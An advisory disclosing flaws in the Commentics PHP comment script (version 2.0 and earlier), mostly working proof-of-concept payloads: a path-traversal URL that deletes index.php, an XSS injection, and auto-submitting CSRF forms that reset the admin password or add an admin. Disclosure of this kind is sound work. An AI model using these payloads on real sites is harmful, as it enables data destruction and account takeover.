################################################# Commentics 2.0 <= Multiple Vulnerabilities ################################################# Discovered by: Jean Pascal Pereira <pereira@secbiz.de> Vendor information: "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure." Vendor URI: http://www.commentics.org/ ################################################# Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion Risk-level: High The whole administration interface is prone to several client-side attacks. ------------------------------------- Exploit / Proof Of Concept: (Note that almost every parameter is vulnerable. These are only a few examples.) 1. File deletion vulnerability (deletes index.php): http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php 2. Cross Site Scripting: http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!-- 3. CSRF / Change admin email and password: <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator"> <input type="text" name="username" value="admin" /> <input type="text" name="password_1" value="1234" /> <input type="text" name="password_2" value"=1234" /> <input type="text" name="email" value="admin%40binkmail.com" /> <input type="text" name="receive_email_new_ban" value="on" /> <input type="text" name="receive_email_new_comment_approve" value="on" /> <input type="text" name="receive_email_new_comment_okay" value="on" /> <input type="text" name="receive_email_new_flag" value="on" /> <input type="text" name="submit" value="Update" /> </form> <script>document.forms[0].submit()</script> 4. CSRF / Add new admin user <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator"> <input type="text" name="username" value="newadmin" /> <input type="text" name="password_1" value="1234" /> <input type="text" name="password_2" value"=1234" /> <input type="text" name="email" value="newadmin%40binkmail.com" /> <input type="text" name="submit" value="Add+Admin" /> </form> <script>document.forms[0].submit()</script> ------------------------------------- Solution: Do some input validation. ------------------------------------- #################################################